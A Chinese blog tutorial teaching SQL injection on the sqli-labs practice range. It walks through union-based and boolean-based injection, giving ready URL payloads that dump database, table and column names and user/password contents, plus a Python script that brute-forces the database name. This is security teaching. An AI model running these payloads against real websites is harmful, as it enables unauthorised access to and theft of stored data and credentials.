开新坑啦,从今天起,web和pwn都会不定时更新~
是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
当客户端提交的数据未做处理或转义直接带入数据库就造成了Sql注入。
数据库,简而言之可视为电子化的文件柜——存储电子文件的处所,用户可以对文件中的数据进行新增、查询、更新、删除等操作。
单纯的网页是静态的,html就是静态的,一些简单的网站(如某些引导页)只有网页和网页之间的跳转。而网站是动态的,是一个整体性的web应用程序,几乎所有的网站都要用到数据库。数据库我们怎么利用呢?例如某些博客站,cms站点。它的文章并不是存在网站目录里的,而是存在数据库里的,例如某些cms是通过后缀?id=321来调用数据库内的文章内容。此时便是向数据库传递变量为ID值为321请求,而数据库会响应并查询我们的请求。
原理:具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
?>
首先,我们先看php文件中参数传递语句和sql查询语句:
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
我们可以看到,文件获取了我们传入的get参数,将其传递到sql查询语句中
比如我们传递id=1,那么对应的sql查询语句则为:
$sql="SELECT * FROM users WHERE id='1' LIMIT 0,1";
若我们传入id=1′ and 1=1 —
我们的sql查询语句就变成了:
$sql="SELECT * FROM users WHERE id='1' and 1=1 -- ' LIMIT 0,1";
这样也是可以正常查询数据的
在传参的时候,先用一个单引号闭合前面的单引号,并在语句的最后加上–将后面的语句注释掉
这样就构成了sql注入
Mysql数据库是我们在工作和比赛中最常见的数据库。
我们在进行注入前,需要先判断目标站点是否存在可注入点,以及存在注入的类型。
?id=1'
?id=1' and 1=1 --+
?id=1" and 1=1 --+
?id=1') and 1=1 --+
?id=1 and 1=1 --+
?id=1") and 1=1 --+
判断原理很简单,就是看被注入的系统是否会将我们输入的and 1=1带入数据库进行查询。我们可以调整后面带入查询的语句来判断是否存在注入。
例:(这里使用sqli-labs-master靶场进行演示)
我们先访问靶场:http://10.211.55.4/sqli-labs-master/Less-1/?id=1
然后输入一个单引号,http://10.211.55.4/sqli-labs-master/Less-1/?id=1′
页面出现了错误提示,这里可能有同学会发现,我们之前输入的单引号变成了%27,这是因为浏览器对符号进行了URL编码,为了解决这个问题以及方便我们后续进行注入,我们可以安装一个浏览器插件:HackBar
我这里用的浏览器是Chrome内核的Edge,可以安装Chrome插件。具体插件安装方法这里不去赘述,大家不会的可以戳☞百度一下
插件安装完后按F12,选择HackBar即可
然后我们点击左侧的LOAD按钮即可将当前浏览器页面的URL载入到HackBar。
我们返回来继续看栗子🌰,先看一下报错信息。
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
报错说我们有SQL语法错误,我们主要看最后面这里
near ''1'' LIMIT 0,1' at line 1
除去前后两个单引号,中间标记颜色的就是SQL语句的内容,我们看到1后面有两个单引号,这就是报错的原因,我们可以根据这个猜测一下原始查询语句
SELECT * FROM xxxx WHERE id='$id' LIMIT 0,1
当我们输入?id=1’时,$id=1′ ,和上面语句拼接就得到了
SELECT * FROM xxxx WHERE id='1'' LIMIT 0,1
语句中多了一个单引号,所以报错了。这时我们继续输入?id=1′ and 1=1 –+
这里的–+是注释符,加号在传入数据库前会被转换成空格。
拼接后得到如下语句
SELECT * FROM xxxx WHERE id='1' and 1=1 -- ' LIMIT 0,1
‘ LIMIT 0,1被–注释掉,因此实际带入到数据库中查询的语句只有:
SELECT * FROM xxxx WHERE id='1' and 1=1
我们测试一下
页面返回正常,那么我们将1=1改成1=2再测试一下
页面没有返回任何内容,也就是说我们构造的语句成功带入到数据库中进行查询了
联合注入是sql注入中最简单的注入方式,不过也有限制条件,就是页面上要有显示位。
在一个网站的正常页面,服务端执行SQL语句查询数据库中的数据,客户端将数据展示在页面中,这个展示数据的位置就叫显示位。
order by 函数是对MySQL中查询结果按照指定字段名进行排序,除了指定字 段名还可以指定字段的栏位进行排序,第一个查询字段为1,第二个为2,以此类推。
字段也就是数据表中的列。
我们输入?id=1′ order by 1 –+ 页面正常
然后输入?id=1′ order by 2 –+,直到页面报错或者不显示内容
输入到4的时候,页面报错,也就是说字段数是3
知道了字段数我们就可以继续注入了,接下来是判断显示位。
判断显示位我们使用以下语句
?id=-1' union select 1,2,3 --+
这里需要注意的是,id的参数为-1,因为数据库中,id=-1是没有任何内容的,如果id=1,查询出的内容就会显示在显示位上,这样我们就无法判断哪个字段拥有显示位。
我们执行语句,可以看到字段2和3存在显示位,那么我们就可以利用这两个显示位来显示我们需要查询的内容。
在查询表名之前我们先看一下数据库名,我们利用mysql自带函数database()来查询
查询语句如下:
?id=-1' union select 1,database(),3 --+
执行语句后,原来显示2的显示位现在显示出数据库名:security
接下来就是查询表名了,Mysql 5.0以上版本会有一个information_schema的数据库,里面存放了所有数据库的表和字段关系,我们可以利用这个数据库来查询security数据库的表名和字段名。
查询表名语句如下
?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 0,1 --+
执行语句测试一下
这里我将语句拆分一下给大家讲解,首先先看这里
?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 0,1 --+
这个table_name和table_schema可不是瞎写的,table_name和table_schema是information_schema数据库中tables表中的字段。table_schema存放的是数据库名,table_name存放的是相对应的表名
这里打开数据库给大家看一下
?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 0,1 --+
information_schema.tables表示查询information_schema数据库的tables表
?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 0,1 --+
limit 0,1 表示从第0行开始,显示1行,limit 1,1 就是从第1行开始显示1行
这样大家就能比较直观的看懂了
查完表名我们就可以查询字段名了
查询语句如下:
?id=-1' union select 1,column_name,3 from information_schema.columns where table_name='admin_user' limit 0,1 --+
这里column_name和table_name都是information_schema.columns表中的字段,和上面一样。admin_user是上面查表名查到的。
我们将所有字段都查询出来,得到Id,user,pass三个字段
最后来查询字段内容,直接用简单的查询语句即可
?id=-1' union select 1,user,pass from admin_user limit 0,1 --+
接下来讲解一下布尔注入,当页面没有显示位时,我们就需要用到布尔注入,注入步骤和联合注入差不多
这里需要给大家介绍几个函数:
布尔是一种数据类型,只会返回0,1代表错误和正确。布尔注入就是通过判断页面返回正确或错误来进行注入的一种方式。
我们先来测试一下
?id=1
页面显示You are in,表示页面正常显示
输入?id=1′
页面没有回显,表示页面错误
先简单判断一下数据库名的长度
?id=-1' or length(database()) > 7 --+
返回正确,我们继续
?id=-1' or length(database()) > 8 --+
返回错误,也就是说数据库名的长度为8
接下来我们爆一下数据库名
?id=-1' or mid(database(),1,1) = 'a' --+
返回错误,继续测,直到页面返回正确
?id=-1' or mid(database(),1,1) = 's' --+
当我们测到s的时候,页面返回正确,那么数据库第一位就是s
以此类推,可以把整个数据库名都爆出来
不过这样爆的话,每位都要测试很多次,我们可以采用二分法用ascii码来进行注入
?id=-1' or ORD(mid(database(),1,1)) > 100 --+
先测试数据库名第一位的ascii码值是否大于100
?id=-1' or ORD(mid(database(),1,1)) > 200 --+
再测试是否大于200,若不大于,测试是否大于150
?id=-1′ or ORD(mid(database(),1,1))>100 –+ | 正确 |
---|---|
?id=-1′ or ORD(mid(database(),1,1))>200 –+ | 报错 |
?id=-1′ or ORD(mid(database(),1,1))>150 –+ | 报错 |
?id=-1′ or ORD(mid(database(),1,1))>125 –+ | 报错 |
?id=-1′ or ORD(mid(database(),1,1))>115 –+ | 报错 |
?id=-1′ or ORD(mid(database(),1,1))>114 –+ | 正确 |
?id=-1′ or ORD(mid(database(),1,1))=115 –+ | 正确 |
就是这样,换算一下ascii码就能得到对应的字符
和前面的联合注入很相似,只不过加了函数
依旧是两种方式,可以直接猜测字符,也可以利用二分法去爆ascii码
先看看长度
?id=-1′ or (select length(TABLE_NAME) from information_schema.tables where table_schema=database() limit 0,1) > 1 –+ | 正确 |
---|---|
?id=-1′ or (select length(TABLE_NAME) from information_schema.tables where table_schema=database() limit 0,1) > 10 –+ | 报错 |
?id=-1′ or (select length(TABLE_NAME) from information_schema.tables where table_schema=database() limit 0,1) > 5 –+ | 正确 |
?id=-1′ or (select length(TABLE_NAME) from information_schema.tables where table_schema=database() limit 0,1) > 7 –+ | 报错 |
?id=-1′ or (select length(TABLE_NAME) from information_schema.tables where table_schema=database() limit 0,1) > 6 –+ | 报错 |
?id=-1′ or (select length(TABLE_NAME) from information_schema.tables where table_schema=database() limit 0,1) = 6 –+ | 正确 |
利用二分法爆ascii码
?id=-1′ or (select ORD(mid(TABLE_NAME,1,1)) from information_schema.tables where table_schema=database() limit 0,1) > 100 –+ | 正确 |
---|---|
?id=-1′ or (select ORD(mid(TABLE_NAME,1,1)) from information_schema.tables where table_schema=database() limit 0,1) > 200 –+ | 报错 |
?id=-1′ or (select ORD(mid(TABLE_NAME,1,1)) from information_schema.tables where table_schema=database() limit 0,1) > 150 –+ | 报错 |
?id=-1′ or (select ORD(mid(TABLE_NAME,1,1)) from information_schema.tables where table_schema=database() limit 0,1) > 125 –+ | 报错 |
?id=-1′ or (select ORD(mid(TABLE_NAME,1,1)) from information_schema.tables where table_schema=database() limit 0,1) > 110 –+ | 报错 |
?id=-1′ or (select ORD(mid(TABLE_NAME,1,1)) from information_schema.tables where table_schema=database() limit 0,1) > 101 –+ | 报错 |
?id=-1′ or (select ORD(mid(TABLE_NAME,1,1)) from information_schema.tables where table_schema=database() limit 0,1) = 101 –+ | 正确 |
直接爆字符
?id=-1′ or (select mid(TABLE_NAME,1,1) from information_schema.tables where table_schema=database() limit 0,1) = ‘a’ –+ | 报错 |
---|---|
?id=-1′ or (select mid(TABLE_NAME,1,1) from information_schema.tables where table_schema=database() limit 0,1) = ‘b’ –+ | 报错 |
?id=-1′ or (select mid(TABLE_NAME,1,1) from information_schema.tables where table_schema=database() limit 0,1) = ‘c’ –+ | 报错 |
?id=-1′ or (select mid(TABLE_NAME,1,1) from information_schema.tables where table_schema=database() limit 0,1) = ‘d’ –+ | 报错 |
?id=-1′ or (select mid(TABLE_NAME,1,1) from information_schema.tables where table_schema=database() limit 0,1) = ‘e’ –+ | 正确 |
这里就不多bb了,和上面一下,稍微改一下就行
这里着重讲一下,大家看到这里可能会发现,布尔注入很麻烦,每个字符都要执行好多语句,那么我们可以利用python脚本来帮我们跑,只需要编写好特定的语句即可。
import requests
import time
import re
url = "http://10.211.55.4/sqli-labs-master/Less-8/?id="
sqllist = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"
def getKey():
result = ''
for j in range(1,40):
for i in sqllist:
time.sleep(0.1)
payload = "-1' or mid(database(),%d"%j + ",1)=" + "'" + i + "' --+"
data = url + payload
response = requests.get(data)
if 'You' in response.text:
result += i
print(result)
break
#print(payload)
print(result)
getKey()
爆破表、字段和内容只需要稍微修改脚本即可。
盲注、堆叠注入、报错注入等其他注入方式留在下篇讲~